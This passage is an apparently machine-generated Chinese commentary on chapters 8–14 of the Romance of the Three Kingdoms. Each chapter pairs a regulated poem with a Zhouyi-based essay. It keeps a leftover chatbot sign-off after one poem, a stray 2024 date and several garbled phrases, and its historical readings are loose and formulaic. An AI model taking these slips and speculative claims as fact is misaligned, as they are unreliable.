    此外，这场战争也反映了历史发展的必然趋势。尽管在当时，各方势力为了争夺霸权而展开激烈的争斗，但历史的车轮始终在向前滚动。战争的结果或许只是暂时的，而历史的进程却不会停止。正如周易哲学所揭示的，事物的发展是有其规律可循的，无论过程如何曲折，最终都会走向必然的结局。


    回顾袁绍磐河战公孙与孙坚跨江击刘表这两段历史，我们不仅能感受到战争的残酷与壮烈，更能从周易哲学的角度领略到其中蕴含的智慧与哲理。这些智慧不仅适用于古代的战争，也对我们当今的生活和思考具有重要的启示意义。


    在当今世界，虽然我们不再面临古代战争那样的血腥冲突，但我们依然面临着各种挑战和竞争。我们可以从这段历史中汲取经验教训，学会在复杂多变的环境中把握时机，运用智慧和策略去应对各种困难。同时，我们也要认识到人性的复杂性，在与人交往和合作中保持清醒的头脑。


    总之，用周易哲学深度解析袁绍磐河战公孙与孙坚跨江击刘表，让我们更深入地理解了历史的内涵与意义。这不仅是对过去的回顾与思考，更是对未来的启迪与展望。让我们在历史的智慧中不断前行，书写更加辉煌的篇章。


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 第8章 王司徒巧使连环计 董太师大闹凤仪亭

    七律赞《周易哲学视角下的连环计与凤仪亭之乱》：


    《七律·赞连环计与凤仪亭》


    周易哲思蕴妙玄，连环巧计史篇传。


    凤仪亭畔风云起，乱世枭雄意绪牵。


    阴翳阳刚相博弈，智谋勇毅共周旋。


    千秋故事留余韵，品鉴其中道万千。


    诠释：


    诗的首联“周易哲思蕴妙玄，连环巧计史篇传”，点明了以周易哲学视角来解读连环计与凤仪亭之乱这一历史故事，强调了其中蕴含的玄妙哲理，以及这个故事在历史篇章中的流传。


    颔联“凤仪亭畔风云起，乱世枭雄意绪牵”，描述了在凤仪亭这个地方，风云变幻，董卓、吕布等乱世枭雄的思绪被牵扯其中。


    颈联“阴翳阳刚相博弈，智谋勇毅共周旋”，进一步阐述了周易哲学中阴阳相互博弈的观念，王允的智谋与貂蝉的勇毅相互配合，与董卓、吕布周旋。


    尾联“千秋故事留余韵，品鉴其中道万千”，指出这个千秋流传的故事留下了悠长的余韵，从中可以品味出无数的道理和智慧。


    整首诗以凝练的语言，赞颂了这段充满智谋与波澜的历史故事，同时也展现了周易哲学在其中的深刻影响。


    一、《周易哲学视角下的连环计与凤仪亭之乱》


    在历史的长河中，“王司徒巧使连环计，董太师大闹凤仪亭”这一情节可谓是扣人心弦，充满了权谋与情感的交织。而当我们以周易哲学的视角来审视这一故事时，更能发现其中蕴含的深刻道理和智慧。


    在周易哲学中，阴阳相互依存、相互转化是其核心观念之一。王允的连环计正是巧妙地运用了这一原理。董卓在长安的暴行如同一团阴云，笼罩王允个貂蝉。而王允与貂蝉则如同阳刚与阴柔的结合，他们共同编织了一张精密的网，以柔克董卓逐渐化解着董卓的权势。


    貂蝉，这位美丽而勇敢的女子，便是连环计中的关键一环。她如同一朵盛开在黑暗中的花朵，以其柔弱之姿，却蕴含着坚韧的力量。她在董卓与吕布之间巧妙周旋，恰似阴阳之间的微妙平衡。她先被暗地里许给吕布，此为阴；再明把貂蝉献给董卓，此为阳。这种阴阳的交替与变化，使得董卓与吕布之间的猜忌逐渐加深，最终达到了王允所期望的效果。


    而董卓与吕布，他们的行为则充分体现了人性中的弱点。董卓的残暴与贪婪，吕布的好色与冲动，都是阴的一面在作祟。他们在欲望的驱使下，失去了理智与判断力，如同陷入了黑暗的深渊，难以自拔。然而，正是他们的这些弱点，被王允巧妙地利用，成为了连环计得以成功实施的关键因素。


    董太师大闹凤仪亭这一情节，更是将故事推向了高潮。吕布与貂蝉在相府后园的凤仪亭私会，这是情感的迸发，也是人性的觉醒。董卓的大怒赶来，如同命运的转折，让局势变得更加复杂。在这一刻，阴阳的力量再次发生了剧烈的碰撞，情感与权谋相互交织，演绎出了一场惊心动魄的戏剧。


    在周易哲学中，变化是永恒的主题。连环计的实施过程中，局势不断发生着变化。王允的智谋、貂蝉的勇敢、董卓与吕布的反应，都在不断地推动着故事的发展。每一个转折都充满了不确定性，如同卦象的变化，难以预测。但正是这种变化，使戏剧性更


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    加富有戏剧性和吸引力。


    同时，在这一过程中，也体现了因果循环的道理。董卓的暴行种下了因，王允的连环计则是果。而吕布与董卓之间的猜忌与争斗，也是他们自身行为的必然结果。这种因果关系的存在，让我们明白，每一个行为都有着其深远的影响，我们应当谨慎行事，避免种下恶因。


    从更深层次来看，连环计与凤仪亭之乱也反映了人性的复杂性。在权力、欲望、情感的交织中，人们往往会失去自我，陷入迷茫与挣扎。但正是这种复杂性，使得人性变得更加真实而鲜活。我们在欣赏这一故事的同时，也应当从中汲取教训，学会在复杂的世界中保持清醒的头脑，坚守自己的道德底线。


    总之，“王司徒巧使连环计，董太师大闹凤仪亭”这一情节，以其精彩的故事和深刻的内涵，成为了历史长河中的经典一幕。而通过周易哲学的深度解析，我们更能体会到其中蕴含的智慧与哲理。它让我们看到了阴阳的平衡与转化，变化的无常与必然，以及因果循环的道理。这不仅是一段历史故事，更是一部关于人性、权谋与智慧的深刻启示录。


    在历史的舞台上，王允吕布蝉、董卓、吕布等人物各自扮演着自己的角色，他们的命运交织在一起，共同演绎了这出充满传奇色彩的戏剧。而我们，作为旁观者，在欣赏这一精彩故事的同时，也应当从中领悟到人生的真谛，以更加睿智的眼光去看待世界，以更加坚定的信念去追求自己的理想。


    二、用周易哲学从几个方面对“王司徒巧使连环计，董太师大闹凤仪亭”进行深度解析：


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 第9章 除暴凶吕布助司徒 犯长安李傕听贾诩

    七律赞《周易哲学视角下的历史风云：除暴凶与犯长安》：


    《七律·赞〈周易〉观史》


    周易哲思透史篇，风云变幻几人传。


    离火吕布除凶暴，坎险李傕困长安。


    巽智贾诩谋策妙，阴阳转化势相连。


    千秋过往留深意，细品其中智慧全。


    希望这首诗能符合你的需求！你可以提出更多的要求和建议，让我们一起创作出更优质的作品。


    诠释：


    诗的首联“周易哲思透史篇，风云变幻几人传”，点明了以周易哲学的视角来解读历史风云这一主题，强调了这段历史的变幻莫测和其背后的深刻意义。


    颔联“离火吕布除凶暴，坎险李傕困长安”，具体描述了事件中的主要人物吕布和李傕，用“离火”形容吕布的勇猛，用“坎险”形容李傕所面临的困境，展现了他们在历史中的角色和行为。


    颈联“巽智贾诩谋策妙，阴阳转化势相连”，突出了贾诩的智谋，同时也体现了周易哲学中阴阳相互转化的道理，暗示了历史发展的复杂性和不确定性。


    尾联“千秋过往留深意，细品其中智慧全”，总结了这段历史所蕴含的深远意义和智慧，表达了对其深入探究和品味的价值。


    整首诗以凝练的语言，将周易哲学与历史事件相结合，赞颂了其中的精彩与智慧。


    一、《周易哲学视角下的历史风云：除暴凶与犯长安》


    在历史的长河中，“除暴凶吕布助司徒，犯长安李傕听贾诩”这一事件犹如一颗璀璨的星辰，闪耀着独特的光芒。而当我们以周易哲学的深邃视角来审视这一段历史时，更能发现其中蕴含的玄妙与智慧。


    周易哲学，作为中国古代智慧的结晶，以其对宇宙、自然和人生的深刻洞察，为我们提供了理解世界的独特框架。在这一历史事件中，我们可以看到周易哲学的诸多元素在其中交织、演绎。


    吕布，这位勇猛无畏的武将，如同离卦一般，充满了热情与活力。他的武力高强，如同离火般炽热，能够在战场上燃起熊熊战火。然而，离卦也有其局限性，过于冲动和激进的性格，使得他在面对复杂局势时，往往难以做出明智的选择。在助司徒除暴凶的过程中，吕布的勇猛发挥了重要作用，但他的冲动也为后来的局势埋下了隐患。


    而李傕，则如同坎卦一般，充满了险阻与挑战。他在长安的所作所为，如同陷入了深深的困境之中。然而，坎卦也并非全然是负面的，它同时也代表着坚韧与毅力。李傕在面对困境时，展现出了一定的坚韧，但他过于听从贾诩的建议，也使得他在一些决策上失去了自主性。


    贾诩，这位智谋过人的谋士，如同巽卦一般，充满了智慧与变化。他的计策如同巽风般灵活多变，能够在复杂的局势中找到破局之道。在李傕听贾诩的过程中，贾诩的智谋起到了关键作用，但他的计策有时也过于阴柔，缺乏一定的正义与道德。


    从整个事件的发展来看，我们可以看到周易哲学中阴阳相互转化的规律。吕布的勇猛与冲动，李傕的困境与坚韧，贾诩的智谋与阴柔，这些看似相互矛盾的因素，在历史的舞台上相互作用，最终导致了局势的变化。在除暴凶的过程中，正义与邪恶相互交织，勇猛与智谋相互碰撞，如


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    同阴阳的相互转化，使得局势变得更加复杂。


    同时，我们也可以看到周易哲学中“时”与“位”的重要性。吕布、李傕和贾诩在不同的时间和位置上，做出了不同的选择。他们的选择受到当时历史背景、社会环境以及个人性格等多种因素的影响。只有在合适的时间和位置上，做出正确的选择，才能在历史的洪流中占据主动。


    在这一历史事件中，我们还能感受到周易哲学中“和”的理念。尽管各方势力之间存在着激烈的冲突与对抗，但最终的结果却是各方势力相互制衡，形成了一种暂时的平衡。这种平衡并非是绝对的和谐，而是在矛盾与冲突中寻求的一种相对稳定的状态。


    回顾这一段历史，我们不仅能够领略到周易哲学的博大精深，更能从中汲取宝贵的人生智慧。在面对复杂的局势时，我们要像离卦一样保持热情与勇气，同时也要避免过于冲动；在面对困境时，我们要像坎卦一样坚韧不拔，同时也要善于寻找突破的机会；在运用智谋时，我们要像巽卦一样灵活多变，同时也要坚守正义与道德。只有这样，我们才能在人生的道路上走得更加稳健，更加从容。


    历史是一面镜子，它映照出过去的辉煌与沧桑，也为我们照亮未来的道路。通过周易哲学的深度解析，我们能够更加深刻地理解历史事件背后的本质与规律，从而更好地把握当下，展望未来。让我们以史为鉴，在周易哲学的智慧指引下，不断前行，创造更加美好的明天。


    二、用周易哲学从几个方面对“除暴凶吕布助司徒 犯长安李傕听贾诩”进行深度解析：


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 第10章 勤王室马腾举义 报父仇曹操兴师

    七律赞《周易哲学视角下的忠义与复仇：马腾举义与曹操兴师的历史解析》


    《赞周易视角之解析


    周易哲思蕴史篇，马腾举义义凌天。


    曹操兴师仇心起，忠义复仇两相连。


    世事变幻皆有定，人心莫测亦如烟。


    深度解析明真谛，千秋功过任评诠。


    诠释：


    诗的首联“周易哲思蕴史篇，马腾举义义凌天”，指出《周易》的哲学思想蕴含在这段历史篇章中，马腾的举义之举彰显出崇高的道义。


    颔联“曹操兴师仇心起，忠义复仇两相连”，描述了曹操因报父仇而兴师，忠义与复仇相互交织。


    颈联“世事变幻皆有定，人心莫测亦如烟”，表达了世间事物的变化都有其规律，而人心的难以捉摸也如烟雾般朦胧。


    尾联“深度解析明真谛，千秋功过任评诠”，强调了通过深度解析能够明白其中的真谛，而历史的千秋功过任由人们评说。


    整首诗以赞颂的口吻，围绕《周易哲学视角下的忠义与复仇：马腾举义与曹操兴师的历史解析》这一主题，展现了对这段历史的思考和感慨。


    一、《周易哲学视角下的忠义与复仇：马腾举义与曹操兴师的历史解析》


    在历史的长河中，“勤王室马腾举义，报父仇曹操兴师”这一事件犹如一颗璀璨的星辰，闪耀着独特的光芒。而当我们以周易哲学的深邃视角来审视这一历史篇章时，更能发现其中蕴含的丰富内涵与智慧。


    周易哲学强调阴阳相互转化、动态平衡以及事物的发展变化。马腾举义与曹操兴师，正是在这种哲学观念的映照下，展现出了复杂而又耐人寻味的一面。


    马腾，这位心怀忠义的豪杰，他的举义之举可以看作是对王室的忠诚与守护。在周易哲学中，忠诚被视为一种阳刚之德，是正道的体现。马腾看到汉室衰微，王室蒙难，他挺身而出，以自己的力量试图匡扶社稷，这正是他内心阳刚之气的迸发。他的举义行动，如同离火一般炽热，燃烧着他对王室的赤诚之心。


    然而，曹操兴师则是出于报父仇的动机。在周易哲学中，复仇是一种情感的宣泄，也是一种阴柔之力的展现。曹操的父仇成为了他行动的驱动力，使他毅然决然地踏上了兴师之路。这种阴柔之力在他的心中涌动，驱使他去追求正义与复仇的平衡。


    从事件的发展过程来看，马腾举义与曹操兴师并非孤立的行为，而是相互关联、相互影响的。这正体现了周易哲学中事物相互联系、相互作用的观点。马腾的举义可能在一定程度上触动了曹操的敏感神经，激发了他内心深处的情感。而曹操的兴师行动，也必然对马腾的计划产生了冲击。


    在这场历史的博弈中，双方的策略与决策也充满了周易哲学的智慧。马腾需要权衡忠义与现实的利益，他要在复杂的局势中寻找合适的时机和策略，以实现自己的目标。而曹操则需要在复仇的情感与政治的考量之间找到平衡，他要巧妙地运用各种手段来达到自己的目的。


    同时，这场事件的结果也反映了周易哲学中变化与无常的特点。历史的发展往往充满了不确定性，马腾的举义最终未能取得完全的成功，曹操的兴师也并非一帆风顺。双方在这场争斗中经历了起伏与波折，最终的结局并非完全由他们的意志所决定。


    从更深层次的角度来看，马腾举义与曹操兴师也反映了人性的复杂性。忠义与复


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    仇，阳刚与阴柔，这些矛盾的情感在他们的内心交织，使得他们的行为既充满了坚定的信念，又带有一定的无奈与挣扎。这种人性的复杂性正是周易哲学所关注的，它提醒我们在看待历史事件时，不能简单地以单一的标准来评判，而要从多个角度去理解和思考


    此外，这一历史事件还对当时的社会产生了深远的影响。它不仅加剧了社会的动荡与混乱，也促使人们对忠义、复仇等价值观进行深入的思考。在周易哲学的视角下，我们可以看到这些影响的深远性和复杂性，它们如同涟漪一般，在历史的水面上不断扩散。


    回顾这段历史，我们不禁感慨万千。马腾举义与曹操兴师，既是历史的必然，也是人性的体现。在周易哲学的指引下，我们能够更深入地理解这一事件的本质与意义，也能够从中汲取智慧与启示。忠义与复仇，这两个永恒的主题在历史的舞台上不断上演，它们提醒着我们要珍惜和平，坚守正义，同时也要理解人性的复杂与无奈。


    在当今社会，我们依然可以从这段历史中得到启示。我们要以忠义为本，坚守自己的原则和信念；同时，我们也要学会在面对复仇等情感时保持冷静与理智，以和平、理性的方式解决问题。只有这样，我们才能在历史的长河中不断前行，创造更加美好的未来。


    总之，用周易哲学深度解析“勤王室马腾举义，报父仇曹操兴师”这一历史事件，为我们提供了一个全新的视角。它让我们看到了历史的丰富内涵与智慧，也让我们对人性、对社会有了更深刻的认识。这一历史篇章将永远铭刻在人们的心中，成为我们不断探索和思考的宝贵财富。


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 第11章 刘皇叔北海救孔融，吕温侯濮阳破曹操

    七律来赞《周易哲学视角下的英雄纷争与智谋较量》：


    《七律·赞英雄智谋》


    英雄际会起风云，周易哲思蕴妙文。


    北海孔融危境守，濮阳吕侯悍兵纷。


    刘皇叔义仁德显，曹孟德谋霸气熏。


    智谋相争千古颂，史篇璀璨耀星辰。


    诠释：


    诗的首联“英雄际会起风云，周易哲思蕴妙文”，指出在英雄们相互汇聚、争斗的背景下，周易哲学的深邃思想蕴含在其中，为故事增添了深厚的底蕴。


    “北海孔融危境守，濮阳吕侯悍兵纷”描述了孔融在北海面临危险困境仍坚守，以及吕布在濮阳率领勇猛兵士激战的场景。


    “刘皇叔义仁德显，曹孟德谋霸气熏”分别展现了刘备的仁义和仁德彰显，曹操的谋略与霸气逼人。


    尾联“智谋相争千古颂，史篇璀璨耀星辰”强调了这场智谋较量被千古传颂，使得这段历史篇章如星辰般闪耀夺目。整首诗以生动的语言和激昂的情感，赞颂了这段充满英雄气概和智谋较量的历史。


    一、《周易哲学视角下的英雄纷争与智谋较量》


    在历史的长河中，每一个故事都如同一颗璀璨的星辰，闪耀着独特的光芒。而“刘皇叔北海救孔融，吕温侯濮阳破曹操”这一历史事件，更是充满了传奇色彩与深刻的哲学内涵。以周易哲学的视角来审视这一段历史，我们能够发现其中蕴含的阴阳变化、刚柔相济以及命运的无常与必然。


    在这个故事中，曹操攻打徐州，展现出了他的雄心与霸气。曹操代表着一种进取与扩张的力量，如同周易中的阳刚之象。他的行动是对权力的追求，是对天下的渴望。然而，刘备的出兵救援则体现了他的仁义与担当，他是那个时代的仁义之君，如同周易中的阴柔之德。刘备的出现，为这场争斗带来了一丝温情与正义。


    孔融，作为北海之主，他在这场纷争中扮演了一个重要的角色。他的存在代表着一种坚守与传统，如同周易中的稳定之象。尽管他在面对曹操的强大势力时显得有些无力，但他的坚守与不屈精神却令人敬佩。而刘备对孔融的救援，则是对这种坚守的支持与呼应，体现了阴阳相互依存的道理。


    吕布，这位勇猛的吕温侯，在濮阳与曹操展开了一场惊心动魄的争斗。吕布的武力与勇猛令人惊叹，他如同周易中的刚猛之力。然而，他的性格缺陷也导致了他在这场争斗中的起伏与波折。曹操与吕布之间的较量，既是力量的对决，也是智谋的交锋，体现了周易中阴阳相互作用、相互制约的哲学理念。


    在这场争斗中，命运的无常也展现得淋漓尽致。曹操的雄心壮志本可让他一往无前，但刘备的出现与吕布的反击却给他带来了不小的阻碍。刘备的仁义之举本可让他赢得更多的人心，但在权力的游戏中，他也面临着诸多挑战与困境。吕布的勇猛本可让他称霸一方，但他的性格弱点却让他陷入了困境。这一切都如同周易中卦象的变化，吉凶祸福相互交织，难以预测。


    从周易哲学的角度来看，这场争斗中的各方势力都在不断地变化与调整。曹操在扩张的过程中，需要不断地应对各种挑战与变数；刘备在坚守仁义的同时，也需要审时度势，寻找发展的机遇；吕布则需要克服自身的缺陷，才


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    能在这场争斗中立足。这种变化与调整，正是周易中“变易”的体现。


    同时，这场争斗也让我们看到了人性的复杂与多面。曹操的权谋与野心、刘备的仁义与智慧、吕布的勇猛与鲁莽，都在这场争斗中展现得淋漓尽致。这些人性的特点相互交织，共同构成了这场历史事件的丰富内涵。而周易哲学中的“简易”原则，告诉我们在复杂的表象背后，往往隐藏着简单的道理。


    在这场历史事件中，我们还能感受到命运的力量。各方势力在争斗中，似乎都被一种无形的力量所牵引。曹操的崛起与失败、刘备的坎坷与坚持、吕布的起伏与沉沦，都像是命运的安排。周易哲学中的“不易”原则，让我们认识到有些东西是永恒不变的，比如人性的弱点、命运的无常。


    回顾这段历史，我们不禁为其中的英雄气概所折服，也为其中的智谋较量所感叹。以周易哲学的视角来解读，更让我们深刻地体会到了历史的深邃与厚重。在这个故事中，我们看到了阴阳的平衡与失衡，看到了命运的起伏与转折，看到了人性的光辉与黑暗。这一切都让我们对历史有了更深刻的理解，也让我们对人生有了更多的思考。


    在历史的舞台上，每一个角色都在演绎着自己的故事。刘皇叔北海救孔融，吕温侯濮阳破曹操，这不仅仅是一场军事上的较量，更是一场哲学上的探索。在这场探索中，我们看到了周易哲学的智慧在历史中的闪耀，也看到了人类在命运面前的不屈与抗争。或许，这就是历史的魅力所在，让我们在岁月的长河中，不断地追寻着那些永恒的真理与价值。


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 第12章 陶恭祖三让徐州，曹孟德大战吕布

    《七律·赞徐州风云解析》


    周易哲学启新篇，徐州风云史迹连。


    陶谦让州仁德显，孟德激战吕将前。


    阴阳变幻玄机蕴，因果循环道理全。


    深度剖析含妙谛，千秋故事展宏颜。


    诠释


    这首七律诠释了对《周易哲学视角下的徐州风云——陶恭祖三让徐州与曹孟德大战吕布解析》的深度解析。诗中通过描绘陶谦的仁德让徐州以及曹操与吕布的大战，展现了周易哲学在其中的体现，如阴阳变幻、因果循环等道理。同时，也表达了对深度剖析这一历史事件所蕴含的玄妙之处的赞赏，以及对这段千古传奇故事的展现与哲理。


    一、《周易哲学视角下的徐州风云——陶恭祖三让徐州与曹孟德大战吕布解析》


    在历史的长河中，陶恭祖三让徐州与曹孟德大战吕布这一系列事件，犹如璀璨的星辰，闪耀着独特的光芒。而当我们以周易哲学的视角来审视这些情节时，更能发现其中蕴含的深刻哲理与智慧。


    让我们将时光回溯到那个风云变幻的时代。陶谦，字恭祖，他在徐州的治理可谓是兢兢业业。然而，命运的齿轮却开始悄然转动，陶谦病重，徐州的未来变得扑朔迷离。这一情节，恰如周易中的“变易”之理。事物总是在不断变化的，没有什么是永恒不变的。陶谦的病重，让徐州面临着重大的抉择，也为后续的故事埋下了伏笔。


    陶谦在病重之际，决定将徐州让与刘备。这一让，体现了他的仁德与胸怀。在周易哲学中，“仁德”被视为一种高尚的品质，它代表着对他人的关爱与尊重。陶谦的让徐州之举，正是他仁德的体现，也是他对徐州百姓的一种负责。同时，这也反映了周易中的“应”之道，即顺应时势，做出合适的选择。陶谦深知自己的儿子无法担当重任，而刘备素有仁德之名，他相信刘备能够更好地治理徐州，保护百姓。


    刘备在面对陶谦的让徐州时，表现出了谦逊与推辞。这也体现了周易中的“谦”德。谦虚是一种美德，它能够让人保持清醒的头脑，不骄不躁。刘备深知徐州的重要性，也明白自己肩负的责任，因此他推辞再三。然而，在众人的劝说下，他最终还是接受了徐州。这一过程，展现了刘备的智慧与决断，也体现了周易中的“时”与“机”。在合适的时机，做出正确的选择，这是成功的关键。


    而曹操与吕布之间的战斗，则是一场惊心动魄的较量。曹操，这位乱世之雄，展现出了非凡的智谋与勇气。吕布，勇猛无比，却也有着自己的弱点。这场战斗，就如同周易中的阴阳相争。曹操代表着阳刚之力量，而吕布则代表着阴柔之力量。两者在战场上相互碰撞，展开了一场激烈的角逐。


    在战斗中，曹操善于运用谋略，以智取胜。这体现了周易中的“变”之道。在面对强大的敌人时，不能仅仅依靠武力，更要善于运用智慧，寻找敌人的破绽，从而取得胜利。曹操通过一系列的计策，逐渐削弱了吕布的势力，最终取得了胜利。而吕布，虽然勇猛，但在智谋上却有所欠缺，这也导致了他的失败。这告诉我们，在生活中，不仅要有勇，还要有谋，只有两者相结合，才能取得成功。


    此外，曹操与吕布的战斗，也反映了周易中的“循环”之理。事物的发展往往是一个循环往复的过程，没有永远的胜利，也没有永远的失败。曹操在与吕布的战斗中取得了胜利，


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    但他也明白，未来还会面临更多的挑战与困难。而吕布的失败，也并不意味着他的命运就此终结，他还有机会重新崛起。这种循环的观念，让我们明白，在面对挫折与失败时，不要气馁，要相信自己还有机会，只要坚持不懈，就能够迎来新的转机。


    陶恭祖三让徐州，曹孟德大战吕布，这些情节不仅展现了那个时代的风云变幻，也蕴含了周易哲学的深刻内涵。它们告诉我们，在生活中，要顺应时势，保持仁德与谦虚，善于运用智慧与谋略，同时也要明白事物发展的循环规律。只有这样，我们才能在历史的长河中，不断前行，创造属于自己的辉煌。


    当我们深入探讨这些情节时，还可以发现更多周易哲学的影子。比如，陶谦病重让徐州给刘备，这其中也蕴含着“时位”的观念。陶谦在特定的时间和位置上，做出了符合当时情况的决定。而刘备接受徐州，也是在特定的时位上，承担起了相应的责任。这种时位的观念，提醒我们在生活中要认清自己所处的时位，做出合适的选择，不要超越自己的能力和范围。


    同时，曹操与吕布的战斗中，也体现了“刚柔相济”的道理。曹操的智谋与吕布的勇猛相互结合，才使得战斗更加精彩。在生活中，我们也需要学会刚柔并济，既要保持坚定的信念和勇气，又要懂得灵活变通，以柔克刚。


    另外，在这些情节中，我们还能看到“因果报应”的影子。陶谦的仁德为他赢得了好名声，也为刘备的到来奠定了基础。而吕布的暴虐与贪婪，最终导致了他的失败。这告诉我们，在生活中要多做善事，积累善缘，不要做恶事，否则终将自食其果。


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 第13章 李傕郭汜大交兵，杨奉董承双救驾

    七律来解释《周易哲学视角下的李傕郭汜大交兵与杨奉董承双救驾》：


    《乱世风云》


    乱世纷争战未休，李傕郭汜竞权谋。


    阳刚阴戾交兵烈，忠义智谋救驾谋。


    周易卦象玄机蕴，命运波澜世事浮。


    史册留痕思过往，兴衰荣辱总悠悠。


    这首诗以七律的形式，描绘了那个动荡时代的战争与救驾情景，体现了周易哲学的视角和其中蕴含的命运变幻与忠义精神。


    以下是对这首七律的诠释：


    诗的首联“乱世纷争战未休，李傕郭汜竞权谋”，点明了当时社会处于战乱纷争之中，李傕、郭汜等人不断施展权谋之术。


    颔联“阳刚阴戾交兵烈，忠义智谋救驾谋”，进一步描述了李傕、郭汜的刚猛与阴狠相互交织的内斗，以及杨奉、董承以忠义和智谋进行救驾的行为。


    颈联“周易卦象玄机蕴，命运波澜世事浮”，指出了周易哲学中所蕴含的深奥玄机，以及世事如命运的波澜般起伏不定。


    尾联“史册留痕思过往，兴衰荣辱总悠悠”，表达了对这段历史在史册上留下痕迹的感慨，以及对兴衰荣辱变化的感慨和思索。


    整首诗通过对“李傕郭汜大交兵，杨奉董承双救驾”这一历史事件的描绘，结合周易哲学的视角，展现了那个时代的风云变幻和复杂人性。


    一、《周易哲学视角下的李傕郭汜大交兵与杨奉董承双救驾》


    在历史的长河中，每一个故事都如同一颗璀璨的星辰，闪耀着独特的光芒。而“李傕郭汜大交兵，杨奉董承双救驾”这一历史事件，更是充满了戏剧性与复杂性。从周易哲学的角度来深度解析这一故事，我们可以更深入地理解其中所蕴含的命运交织与阴阳变化。


    在那个动荡的时代，李傕与郭汜这两位权臣之间的内斗，宛如一场激烈的棋局。他们各自心怀鬼胎，为了权力与利益而相互争斗，如同周易中的阴阳对立与相互制约。李傕的刚猛与郭汜的狡诈，形成了鲜明的对比，仿佛是阴阳两种力量在相互碰撞。


    李傕，如同一团炽热的火焰，充满了攻击性与野心。他凭借着自己的武力和权势，妄图独霸一方。然而，他的行为却如同烈火烹油，过度的张扬最终引来了反噬。在周易哲学中，这种过度的阳刚之态，往往预示着盛极而衰的命运。


    郭汜，则如同一股阴柔的暗流，善于运用权谋与诡计。他在背后暗中策划，伺机而动，试图在李傕的强势之下寻找突破的机会。他的行为体现了周易中阴柔的力量，以柔克刚，在暗中积蓄力量，等待时机的到来。


    两人之间的内斗，如同阴阳两种力量的激烈交锋。在这场争斗中，双方都试图占据上风，却又难以真正战胜对方。他们的命运如同周易中的卦象，充满了变数与不确定性。在这场权力的游戏中，没有绝对的胜者，只有不断变化的局势。


    而杨奉与董承的出现，则为这一混乱的局面带来了一丝希望。他们挺身而出，保护汉献帝，如同周易中的阴阳调和与平衡。杨奉的勇猛与董承的智谋，相互配合，共同为了维护汉室的尊严而努力。


    杨奉，如同一座坚定的山峰，屹立不倒。他不畏强权，勇敢地站出来与李傕、郭汜等人对抗。他的忠诚与勇敢，体现了周易中阳刚的力量，为了正义而不惜一切代价。


    董承，则如同一股智慧的清泉，


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    在困境中寻找出路。他善于谋划，运用自己的智慧为杨奉提供策略支持。他的智谋体现了周易中阴柔的智慧，以柔克刚，在复杂的局势中找到解决问题的方法。


    杨奉与董承的合作，象征着阴阳两种力量的完美结合。他们共同努力，为汉献帝创造了一个相对安全的环境，为汉室的延续争取了一丝希望。然而，他们的力量毕竟有限，在那个动荡的时代，想要真正改变局势，又谈何容易。


    在这场大交兵与双救驾的故事中，我们可以看到周易哲学中所强调的变化与平衡。李傕与郭汜的内斗，以及杨奉与董承的努力，都是命运的安排与选择。他们在阴阳的交织中，演绎着各自的命运，同时也为历史的发展增添了一抹浓重的色彩。


    在这个故事中，我们还能感受到周易哲学中所蕴含的因果循环。李傕与郭汜的恶行，最终导致了他们的失败与灭亡；而杨奉与董承的忠义，也为他们赢得了后人的敬仰与赞誉。一切皆有因果，一切皆在命运的轮回中不断演变。


    同时，这个故事也提醒我们，在面对复杂的局势时，要学会运用周易哲学中的智慧。既要看到阴阳的对立与矛盾，又要懂得寻求阴阳的调和与平衡。只有这样，才能在困境中找到出路，在变化中把握机遇。


    回顾历史，我们可以从“李傕郭汜大交兵，杨奉董承双救驾”这一故事中汲取许多宝贵的经验与教训。它让我们明白，权力与利益的争夺往往会带来无尽的灾难，而忠诚与正义才是永恒的价值。同时，它也让我们对周易哲学有了更深刻的理解，让我们懂得在生活中如何运用这一古老的智慧来应对各种挑战。


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 第14章 曹孟德移驾幸许都 吕奉先乘夜袭徐郡

    七律赞《乱世风云：周哲学视角下的曹孟德与吕奉先之争》：


    《七律·赞〈乱世风云〉》


    乱世纷争史话长，周哲洞察论兴亡。


    孟德谋略移都幸，奉先骁勇袭郡狂。


    笔底风云书壮阔，文中智慧绽光芒。


    千秋功过任评说，经典传奇永颂扬。


    诠释：


    在这首诗中，诗人以“乱世纷争史话长”开篇，描绘了那个动荡的历史时期。“周哲洞察论兴亡”则点明了以周哲学的视角来审视这段历史。


    “孟德谋略移都幸”表现了曹操的智谋和移驾幸许都的重要举措；“奉先骁勇袭郡狂”则突出了吕奉先的勇猛以及乘夜袭徐郡的行为。


    “笔底风云书壮阔”强调了作品中描绘的风云变幻和壮阔场面；“文中智慧绽光芒”则凸显了周哲学所展现出的智慧光辉。


    最后，“千秋功过任评说，经典传奇永颂扬”表达了对于这段历史以及作品的尊重，无论是功过都任由后人评说，但经典的传奇将永远被颂扬。


    一、《乱世风云：周哲学视角下的曹孟德与吕奉先之争》


    在历史的长河中，每一个时期都有着其独特的风云变幻和人物传奇。公元 2024 年 10 月 20 日，让我们以周哲学的深度视角，重新审视那个动荡而充满机遇的时代，解析曹孟德移驾幸许都与吕奉先乘夜袭徐郡这两大事件。


    在那个战乱频繁的年代，权力的争夺如同一场永不停歇的棋局。曹操，这位雄心勃勃的政治家和军事家，以其卓越的智慧和果断的决策，将汉献帝迁往许都，从而掌握了大权。这一举措，不仅标志着曹操在政治舞台上迈出了重要的一步，更展现了他对时局的精准把握和对未来的深远谋划。


    周哲学告诉我们，一切事物的发展都有其内在的规律和逻辑。曹操的移驾幸许都，并非偶然，而是他对当时政治形势的深刻洞察和准确判断的结果。在那个混乱的时代，汉献帝虽然名义上是天子，但实际上却如同一个傀儡，被各种势力所操纵。曹操看到了这一点，他明白只有将汉献帝掌握在自己手中，才能真正实现自己的政治理想和目标。


    而吕奉先，这位勇猛无畏的战将，却在曹操移驾幸许都的关键时刻，选择了乘夜袭徐郡。这一行动，看似突然，实则也有着其内在的原因和逻辑。吕奉先虽然勇猛过人，但他在政治上却显得相对幼稚和鲁莽。他没有看到曹操移驾幸许都背后的深远意义，也没有意识到自己的行动将会给自己带来怎样的后果。


    周哲学认为，人的行为和选择往往受到自身性格、价值观和利益诉求的影响。吕奉先的乘夜袭徐郡，正是他性格中冲动和鲁莽的一面的体现。他只看到了眼前的利益，却没有考虑到长远的发展。而曹操则不同，他在做出每一个决策之前，都会深思熟虑，权衡利弊，从而做出最有利于自己的选择。


    曹操移驾幸许都后，迅速建立起了自己的政权和势力范围。他采取了一系列的政治、经济和军事措施，加强了自己的统治地位，同时也为自己的未来发展奠定了坚实的基础。他广纳贤才，招揽了诸如荀彧、郭嘉等一批优秀的谋士和将领，为自己的事业提供了强大的智力支持和军事保障。


